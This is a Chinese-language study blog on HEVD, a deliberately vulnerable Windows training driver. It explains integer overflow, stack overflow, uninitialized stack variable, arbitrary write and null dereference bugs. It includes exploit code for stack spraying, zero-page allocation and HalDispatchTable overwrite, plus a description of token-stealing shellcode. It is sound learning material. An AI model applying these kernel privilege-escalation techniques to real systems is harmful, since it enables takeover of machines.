HEVD学习

  • HEVD简单学习

0x1 整数溢出

0x1.1 成因分析

        整数包括无符号整数和有符号整数,但是对于计算机来说,区分无符号整数和有符号整数意义不大,比如”-1”,无符号整数来说,其值为4294967295,也就是0xFFFFFFFF,编译器根据数据类型的不同,生成不同的代码,规定了每个数据变量的长度。在自然语义环境中,如果是4294967295加上4,最终会得到4294967299这个数字,但是,在计算机语义中,这个是在这个数据类型中是最大的,加上4就需要向高位拓展。这样就会丢弃拓展的高位。整数溢出就是这样产生的。例如,0xFFFFFFFF加上4之后,得到的数据就是3

        整数溢出漏洞的作用是什么,整数溢出主要是为了绕过可能的长度检查。如下的例子,如果输入任意正整数,都不可能使得b+c 小于 a,但是如果输入的c是0xFFFFFFF0,因为整数溢出,0xFFFFFFFA+0x9 = 0x3.如此就绕过了长度检查。

1
2
3
4
5
6
7
8
9
10
11
int a = 8;
int b = 9;
scanf("%d",&c);
if(b+c < 8)
{
printf("success")
}
else
{
printf("failed")
}

        HEVD的IntegerOverflow位于TriggerIntegerOverflow函数中,直接通过反汇编看,已知函数栈空间为0x820+0x04=0x824,也就是说要实现栈溢出需要0x824+0x04的大小实现。但是在代码中,对缓冲区长度进行了校验,根据自然语义下理解,缓冲区长度加上4要小于0x800,说明缓冲区不可能超过0x800,这样就不会造成栈溢出。
mark

        但是由于整数溢出,当我传入的UserBufferLength为0xFFFFFFFF,加个4,得0x3,这样自然就绕过了大小的限制。

0x1.2 漏洞利用

        根据分析代码,明确使用栈溢出进行利用,使用整数溢出绕过长度检查。查看代码,要使进行缓冲区复制需要两个条件,Buffer内容不为0xBAD0B0B0,长度小于UserBufferLength/4。在使用整数溢出的是和,第二个条件得到满足,但是前面也说了实现栈溢出需要0x824+0x04的大小的缓冲区,所以,构造的payload主要构成是这样的,0x824长度用于填充缓冲,0x04是提权shellcode的地址,最后四个字节内容为0xBAD0B0B0,用于终止缓冲区复制。
mark

0x2 栈溢出

0x2.1 环境安装与HEVD说明

        安装完VirtualKd和Windbg Preview之后,配置WindbgPreview,首先在启动虚拟机之前,配置Costumer如下:DbgX.Shell.exe /k com:pipe,resets=0,reconnect,port=$(pipename)。然后启动虚拟机可能也运行不起WindbgPreview,如果出现这种情况,先设置WinDbg.exe的路径,然后运行调试器,等Windbg起来后,在勾选到Costumer

        HEVD有编译好的SYS文件以及源码,其中编译好的SYS有两个文件夹,secure是已经修复过的SYS,而vulnerable是指存在漏洞的SYS。源码是修复之后的代码。
mark

        含有漏洞代码主要位于HackSysExtremeVulnerableDriver中的IrpDeviceIoCtlHandler函数中,这个函数包含了HEVD所有的漏洞类型。
mark

0x2.2 成因分析

        栈溢出位于HEVD控制码为0x222003的函数处,也就是sub_44517E,很显然,在sub_44517E函数中,将有R3传入的缓冲区,以及该缓冲区的大小传入函数sub_4451A2,在sub_4451A2函数中,并没有对传入的缓冲区大小进行校验,即判断两个缓冲区大小。导致我们传入大于KernelBuffer的大小的UserBuffer,导致栈溢出。
mark
mark

       根据IDA的解析结果来看,var_1c占了1C大小的空间,KernelBuffer占据了1C-81C共计800h大小的空间,这样子一共占用了81Ch大小的空间,加上返回地址4h的空间,一共占了820h的空间,所以我们构造栈溢出的话,只需要构造820h+4h的空间即可。
mark

        从源码来看,存在漏洞的版本,直接按照UserBuffer大小将UserBuffer复制给KernelBuffer,而修复之后的版本,是按照KernelBuffer大小将UserBuffer复制给KernelBuffer,由此修复了漏洞。
mark

        在HEVD!TriggerBufferOverflowStack处下断,以及在Buffer复制的地方下断,首先断在HEVD!TriggerBufferOverflowStack开头,查看栈顶寄存器为0x98075bd4,当运行到memcpy处,查看目的地址,也就是第一个参数地址为0x980753b4,两者相减,大小为0x00000820。也就是说,只需要构造一个大小为0x820+0x04的缓冲区,其中前0x820用于覆盖KernelBuffer,最后4个字节用于栈溢出,只需要将提取的shellcode地址放到最后四个字节处就可以实现漏洞利用。
mark
mark

0x2.3 漏洞利用

        首先,需要打开驱动设备,在没有源码的情况下,在DriverEntry函数中,创建了一个名为\\Device\\HackSysExtremeVulnerableDriver的Device,所以在R3也应该创建\\\\.\\HackSysExtremeVulnerableDriver的Device。
mark

        接着,如上所说,应该构造符合条件的Shellcode。具体就是构造一个大小为0x820+0x04的缓冲区,其中前0x820用于覆盖KernelBuffer,最后4个字节用于栈溢出,只需要将提取的shellcode地址放到最后四个字节处就可以实现漏洞利用。
mark

        最后将payload通过DeviceIoControl传入,Shellcode的原理是通过FS+0x124,获取线程的KTHREAD,然后在通过KTHREAD+0x50获取进程的EPROCESS,然后将当前进程的EPROCESS地址保存在ECX寄存器中。因为EPROCESS是一个链装结构,通过mov eax, [eax + FLINK_OFFSET]这个语句可以定位到下一个EPROCESS链,然后减去0xB8即可定位到EPROCESS结构头。在EPROCESS偏移+0xB4处获取PID,然后和system进程的PID(4)相比,以确定system进程。然后通过0xF8获取system进程token,并将system进程token保存。然后调整栈就可以了。
mark
mark

0x2.4 参考

0x3 未初始化栈变量

0x3.1 成因分析

        变量创建之后,如果没有及时进行初始化赋值操作,当再次使用该变量的时候,容易产生出乎意料的运行结果。所以我们在编码过程中,一定不要忘记对变量进行初始化。

        如下代码,函数指针及时进行了初始化赋值pFunc = test;,在后续调用该指针指向的函数时(*pFunc)();,产生了正确的结果

1
2
3
4
5
6
7
8
9
10
11
void test()
{
printf("test\n");
}
int main()
{
void (*pFunc)();
pFunc = test;
(*pFunc)();
return 0;
}

        在例如函数指针没有进行初始化,此时pFunc为随机值,调用他将会产生出乎意料的结果。

1
2
3
4
5
6
7
8
9
10
void test()
{
printf("test\n");
}
int main()
{
void (*pFunc)();
(*pFunc)();
return 0;
}

        定位到TriggerUninitializedMemoryStack函数,在第五行,声明了函数指针v4,当传入的UserBuffer为特定的0xBAD0B0B0时,为v4赋值。然后对v4判空之后,调用v4,该漏洞存在于,如果传入的并不是0xBAD0B0B0,则不会对v4进行赋值,而v4也没有初始化,则导致程序出现出乎意料的结果,由此未初始化栈变量漏洞产生。
mark

        看一下是如何修复的,初始化UninitializedMemory变量即可。
mark

0x3.2 漏洞利用

        该漏洞是由于未初始化变量产生的,也就是变量的值是一个随机值,并不是一个默认值(NULL),所以构造零页内存是不可以的。这里用到的漏洞利用技术是栈喷射。

        当传入的Buffer不为0xBAD0B0B0时,不会对v4进行赋值,此时默认的v4的值为NULL。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
BOOL UninitializedMemoryStack()
{
//Step1 打开设备
HANDLE hDevice = NULL;
LPCSTR FileName = (LPCSTR)LINK_NAME;
hDevice = GetDeviceHandle(FileName);
if (INVALID_HANDLE_VALUE == hDevice)
{
printf("[!] GetDeviceHandle:%d\n", GetLastError());
return FALSE;
}
//栈喷射
//ULONG ShellCodeAddr = (ULONG)ShellCode;
//if (StackPengShe(ShellCodeAddr) == FALSE)
//{
// printf("[!] StackPengShe Error\n");
// return FALSE;
//}
//Step3 触发漏洞
CHAR UserBuffer[4] = {0};
memset(UserBuffer, 'A', sizeof(UserBuffer));
ULONG uReturnlength = 0;
if (DeviceIoControl(hDevice,
HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
&UserBuffer,
sizeof(UserBuffer),
NULL,
0,
&uReturnlength,
NULL) == FALSE)
{
printf("[!] DeviceIoControl :%d\n", GetLastError());
return FALSE;
}
return TRUE;
}

1
2
3
4
5
6
7
kd> bp 9951d097
kd> g
Break instruction exception - code 80000003 (first chance)
HEVD!TriggerUninitializedMemoryStack+0x9d:
9951d097 85c0 test eax,eax
kd> r eax
eax=00000000

        在查看一下kernel栈,如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> dps esp
94237ab4 387f514e
94237ab8 85f99398
94237abc 83f0b675 nt!DbgPrintEx
94237ac0 85f99408
94237ac4 83eb2361 nt!KeUpdateRunTime+0x164
94237ac8 00000000
94237acc 00000000
94237ad0 00008eb0
94237ad4 66b499f8
94237ad8 000067f6
94237adc 00006700
94237ae0 94237b60
94237ae4 00000000
94237ae8 8713fc60
94237aec 87d5e460
94237af0 83f70c00 nt!KiInitialPCR

        当启用栈喷射,内核堆栈效果如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kd> dps esp
8f3daab4 2361814e
8f3daab8 881925a8
8f3daabc 83f0b675 nt!DbgPrintEx
8f3daac0 88192618
8f3daac4 00941170
8f3daac8 00941170
8f3daacc 00941170
8f3daad0 00941170
8f3daad4 00941170
8f3daad8 00941170
8f3daadc 00941170
8f3daae0 00941170
8f3daae4 00941170
8f3daae8 00941170
8f3daaec 00941170
8f3daaf0 00941170
8f3daaf4 00941170
8f3daaf8 00941170
8f3daafc 00941170

        栈喷射实现是利用NtMapUserPhysicalPages,设置我们构造好的数据,从而填充内核堆栈。NtMapUserPhysicalPages接收的长度为1024,填充的ShellcodeAddr大小为4,所以需要开辟1024 * 4的空间。这都算是定式,记住即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//栈喷射
BOOL StackPengShe(ULONG ShellcodeAddr)
{
NTSTATUS ntStatus = 0;
//NtMapUserPhysicalPages
pfnNtMapUserPhysicalPages NtMapUserPhysicalPages = (pfnNtMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtMapUserPhysicalPages");
if (NULL == NtMapUserPhysicalPages)
{
printf("[!] Get Address NtMapUserPhysicalPages Error\n");
return FALSE;
}
//NtMapUserPhysicalPages 接受的最大长度为1024
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 'A', 1024 * 4);
//填充ShellcodeAddr
for (DWORD i = 0; i < 1024; i++)
{
//*(PDWORD)((DWORD)StackSpray + i) = (DWORD)&ShellcodeAddr;
StackSpray[i] = ShellcodeAddr;
}
//R3影响R0
ntStatus = NtMapUserPhysicalPages(NULL, 1024, StackSpray);
//return ntStatus == 0 ? TRUE : FALSE;
return TRUE;
}

0x4 任意地址覆盖

0x4.1 成因分析

        任意地址覆盖,指的是代码没有验证地址是否有效直接使用。通过构造payload,将用来提权的Shellcode的地址覆盖到可以导致内核代码执行的区域从而实现提权。

        该漏洞位于HEVD控制码为0x22200B的函数sub_444BCE处,在sub_444BCE函数中,将R3传来的缓冲区传入了sub_444BEE,乍一看,很难发现这段代码有什么问题,就是单纯的将What成员复制给了Where成员,但是在内核中,没有针对地址的有效性进行验证,直接使用的话,这是非常危险的。
mark

        从源码来看,漏洞版本就是没有对地址进行检查,而修复的版本,可以看到对需要读取的地址,使用ProbeForRead和ProbeForWrite进行了检查,ProbeForRead和ProbeForWrite的作用就是检查用户模式缓冲区是否位于用户态,并验证对齐。
mark

        在学习这个漏洞的时候,我一直想不明白,就光一个内存写入怎么就触发漏洞了,后来其实才明白原理,其实内存写入这个动作并不会触发漏洞,关键是写入的这个地址(也就是代码里面的What)才是危险的,我们可以这样构造,首先What这个地方存储的是ShellCode的地址,然后在找一个地方,只要可以执行就好了,因为通过这个任意地址覆盖,将Shellcode的地址覆盖到那个可以执行的地址上,那么通过触发,就可以执行Shellcode了。而HalDispatchTable+0x4就是这样一个地址。

        如何定位HalDispatchTable+0x4,首先查看一下nt!NtQueryIntervalProfile这个函数的反汇编,在nt!NtQueryIntervalProfile+0x6B调用了nt!KeQueryIntervalProfile,跟进nt!KeQueryIntervalProfile,显然在在0x8410e8b4调用了nt!HalDispatchTable+0x4这个分发表,只需要记住,shellcode往这个地方写就是了,貌似高版本的系统这个地方已经被缓解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kd> u nt!NtQueryIntervalProfile+0x6B
nt!NtQueryIntervalProfile+0x6b:
8414ffa6 e8e6e8fbff call nt!KeQueryIntervalProfile (8410e891)
8414ffab 84db test bl,bl
8414ffad 741b je nt!NtQueryIntervalProfile+0x8f (8414ffca)
8414ffaf c745fc01000000 mov dword ptr [ebp-4],1
8414ffb6 8906 mov dword ptr [esi],eax
8414ffb8 eb07 jmp nt!NtQueryIntervalProfile+0x86 (8414ffc1)
8414ffba 33c0 xor eax,eax
8414ffbc 40 inc eax
//======>nt!KeQueryIntervalProfile
kd> U nt!KeQueryIntervalProfile l20
nt!KeQueryIntervalProfile:
8410e891 8bff mov edi,edi
8410e893 55 push ebp
8410e894 8bec mov ebp,esp
8410e896 83ec10 sub esp,10h
8410e899 83f801 cmp eax,1
8410e89c 7507 jne nt!KeQueryIntervalProfile+0x14 (8410e8a5)
8410e89e a1889afa83 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83fa9a88)]
8410e8a3 c9 leave
8410e8a4 c3 ret
8410e8a5 8945f0 mov dword ptr [ebp-10h],eax
8410e8a8 8d45fc lea eax,[ebp-4]
8410e8ab 50 push eax
8410e8ac 8d45f0 lea eax,[ebp-10h]
8410e8af 50 push eax
8410e8b0 6a0c push 0Ch
8410e8b2 6a01 push 1
8410e8b4 ff15bcf3f683 call dword ptr [nt!HalDispatchTable+0x4 (83f6f3bc)]
8410e8ba 85c0 test eax,eax
8410e8bc 7c0b jl nt!KeQueryIntervalProfile+0x38 (8410e8c9)
8410e8be 807df400 cmp byte ptr [ebp-0Ch],0
8410e8c2 7405 je nt!KeQueryIntervalProfile+0x38 (8410e8c9)
8410e8c4 8b45f8 mov eax,dword ptr [ebp-8]
8410e8c7 c9 leave
8410e8c8 c3 ret

0x4.2 漏洞利用

        首先第一步打开设备,第二歩就是获取HalDispatchTable+4地址,这个地址用来存放ShellCode。获取获取HalDispatchTable+4地址主要有四步,因为HalDispatchTable这个地址在R3是导出的,只需要获取ntkrnlpa.exe在R3的基地址和R0的基地址,HalDispatchTable在R3的地址,减去ntkrnlpa.exe在R3的基地址,加上R0的基地址就是HalDispatchTable在R0的地址。所以获取HalDispatchTable在R0地址只需要四步。

  • 获取ntkrnlpa.exe在R0基地址
  • 通过LoadLibrary获取ntkrnlpa.exe在R3基地址
  • 通过GetProcAddress获取HalDispatchTable在R3的地址
  • 计算HalDispatchTable在R0的的地址
    mark

        其中如何获取ntkrnlpa.exe在R0的基地址呢。首先EnumDeviceDrivers获取所有的驱动模块基地址,然后根据基地址,调用GetDeviceDriverBaseNameA获取驱动名,依次比较是否是ntkrnlpa.exe即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PVOID GetBaseAddrOfntkrnlpaInKernel()
{
//遍历所有的驱动程序基地址
LPVOID lpImageBase[1024] = {0};
DWORD lpcbNeeded = 0;
TCHAR lpfileName[1024] = {0};
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase),&lpcbNeeded); //#include<Psapi.h>
for (DWORD i = 0; i < (lpcbNeeded / sizeof(LPVOID)); i++)
{
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if (!strcmp(lpfileName, "ntkrnlpa.exe"))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}

        第三步,触发漏洞,将Shellcode地址作为What参数传入,然后将HalDispatchTable+4作为Where传入,因为任意地址覆盖,就可以将Shellcode地址覆盖到HalDispatchTable+4地址,然后只需要调用NtQueryIntervalProfile触发执行就可以了。NtQueryIntervalProfile第一个参数值应该可以任意数字。

0x4.3 参考

0x5 空指针解引用

0x5.1 成因分析

        释放完内存并将指针清空,但如果再次对这个指针进行引用,就会触发空指针引用漏洞,值得注意的是,要区分UAF和空指针解引用的区别,即,UAF是因为释放了内存,但是指针并没有置NULL,从而导致程序出现异常,可以通过占位的方式对该漏洞进行利用。而空指针解引用是指释放了内存,同时也置空了指针,但是仍对该指针进行引用导致异常。因为对空指针进行引用,如果提前在地址为0的地方提前写入shellcode,即可对空指针解引用进行利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef void(* pFuncAddr)();
void test()
{
printf("test\n");
}
int main()
{
PDWORD func = (PDWORD)malloc(4);
*func = (DWORD)test;
((pFuncAddr)*func)();
free(func);
func = NULL;
((pFuncAddr)*func)();
return 0;
}

        在HEVD中,空指针解引用漏洞位于TriggerNullPointerDereference函数中,反汇编效果所示,首先在第9行,Allocate空间,然后在19行比较传入的数据是否是BAD0B0B0,如果是在为KernelBuffer赋值,并设置回调函数,如果不是,如33,34行所示则释放内存,并将指针置空。无论是否为BAD0B0B0都会调用KernelBuffer的回调函数,也就是使用了KernelBuffer。如果KernelBuffer指针没有置空,是不会有问题的,但如果KernelBuffer指针置空了,就会导致空指针解引用。
mark

        通过观察HEVD源码,发现修复之后的的逻辑是先校验了NullPointerDereference指针是否为空,然后在调用回调函数。
marklim)

        在这篇文章里面,也很好介绍了空指针和野指针(UAF)

0x5.2 漏洞利用

        前面也具体讲了如何根据空指针解引用来进行漏洞利用,因为部分exp写的还是比较复杂,详细说说,这个漏洞利用就是通过事先开辟好零页,并将shellcode事先放到回调函数的地方。也就是(Null+4)的地址。
mark

        在观察代码逻辑,只要传入的值不是BAD0B0B0,就会释放之前开辟的内存,并置空指针,从而导致空指针解引用。也就是说R3传入的Buffer内部只要不是BAD0B0B0就可以了。

        最后来讲一下零页内存,空指针指向的就是零页内存,在漏洞利用过程中,我们使用NtAllocateVirtualMemoryntdll层API函数申请零页内存,具体实现如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BOOL AllocateZeroPage()
{
pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtAllocateVirtualMemory");
if (NULL == NtAllocateVirtualMemory)
{
printf("[!] Get NtAllocateVirtualMemory Error\n");
return FALSE;
}
printf("[*] NtAllocateVirtualMemory Address is :0x%p \n", NtAllocateVirtualMemory);
NTSTATUS ntStatus = 0;
PVOID BaseAddress = (PVOID)0x00000001;
SIZE_T RegionSize = 0x1000;
ntStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (ntStatus != 0)
{
printf("[!]Execuate NtAllocateVirtualMemory Error\n");
return FALSE;
}
return TRUE;
}

        我在学习这段代码的时候,有个困惑就是为什么传入的BaseAddress值为什么是(PVOID)0x00000001,然后我看了空指针漏洞防护技术 提高篇为我解答了疑惑,当BaseAddress为0的时候,并不能在零页内存中开辟空间,将AllocateType设置为MEM_TOP_DOWN,表示自上而下的分配内存,然后当BaseAddress设置为一个低地址,例如1,同时指定分配内存的大小大于这个值,例如0x1000,这样就可以申请到的内存包含了零页内存。

0x5.3 参考